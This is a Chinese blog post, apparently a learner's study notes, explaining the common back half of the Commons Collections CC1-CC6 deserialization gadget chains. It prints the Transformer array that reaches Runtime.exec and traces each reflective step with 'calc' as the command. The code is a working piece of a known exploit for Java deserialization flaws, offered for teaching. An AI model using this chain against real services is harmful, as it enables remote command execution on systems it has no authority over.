0x00
前言 面试的时候啥都不会被暴打,呜呜呜,再自己分析一遍cc6
吧。要不以后面试可能还会被暴打。
这里说一下几条cc
链通用的后半部分原理,这样也就不用多次重复了。
0x01
开始 从InvokerTransformer
下手。因为条链其实只是在执行Transformer
的transfrom()
函数罢了。
InvokerTransformer
会将传入的Object input
当做类的对象,执行该对象的iMethodName
方法,参数为iArgs
。通过查看getMethod
方法,我们就可以理解为什么我们的iParamTypes
要传入一个new Class[]{...}
了。getMethod
这么写的目的当然是找到准确的方法以使用(防止重载找错函数)。顺带一提,Class<?>...
其实代表的就是Class
的数组。
接下来我们以Runtime
的getMethod
为例子。来具体的分析一下这个Transformer
到底做了什么。
1 2 3 4 5 6 7 8 9 10 11 12 final String[] execArgs = new String[] { command };final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, execArgs ), new ConstantTransformer (1) } ;
相信这串代码也不会有人不熟悉了。这是cc1 - cc6
的所有后半部分的代码。也就是我们经常看到的:
1 2 3 org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()
但是这串代码到底是怎么命令执行的呢?这就是我们今天的目的之一。先来看ChainedTransformer
这个类。它的transform
代码如下:
1 2 3 4 5 6 7 public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; }
也就是说前一个语句的执行结果会被当成后一个语句的参数 。简单来说就是i=0
时的object
会被当做i=1
时的transform(object)
中的object
。从而完成一个链式结构。那么接下来我们一句一句分析。
首先是ConstantTransformer
.
1 2 3 4 new ConstantTransformer(Runtime.class ) < ==> Class.forName("java.lang.Runtime" )
然后是getMethod
。起先我一直以为这是直接执行了getRuntime
,然后就想不通这个invoke
有啥用,后来才知道,原来这返回结果是一个Method
。。。
1 2 3 4 5 6 7 8 new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }) <==> Class cls = input.getClass(); Method method = cls.getMethod("getMethod",new Class[]{String.class,Class[].class}); method.invoke(input, new Object[]{"getRuntime" ,new Class[0 ]});
执行上一步返回的Method
函数。getRuntime
会直接返回Runtime
对象的。
1 2 3 4 5 6 7 8 new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }) <==> cls = input.getClass(); method = cls.getMethod("invoke",new Class[] {Object.class, Object[].class }); input = method.invoke(input, new Object[] {null , new Object[0 ] });
然后就是exec
命令执行。
1 2 3 4 5 6 7 new InvokerTransformer("exec" , new Class[] { String.class }, execArgs ) < ==>cls = input.getClass(); method = cls.getMethod("exec" ,new Class[] {String.class }) ; input = method.invoke(input,"calc" );
所以上面的利用链其实是这样的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 Class clazz = Class.forName("java.lang.Runtime" ); Object input = clazz; Class cls = input.getClass(); Method method = cls.getMethod("getMethod",new Class[]{String.class,Class[].class}); input = method.invoke(input, new Object[]{"getRuntime" ,new Class[0 ]}); cls = input.getClass(); method = cls.getMethod("invoke",new Class[] {Object.class, Object[].class }); input = method.invoke(input, new Object[] {null , new Object[0 ] }); cls = input.getClass(); method = cls.getMethod("exec" ,new Class[] {String.class }) ; input = method.invoke(input,"calc" );
这也就是我们的后半部分了。接下来讲前半部分。。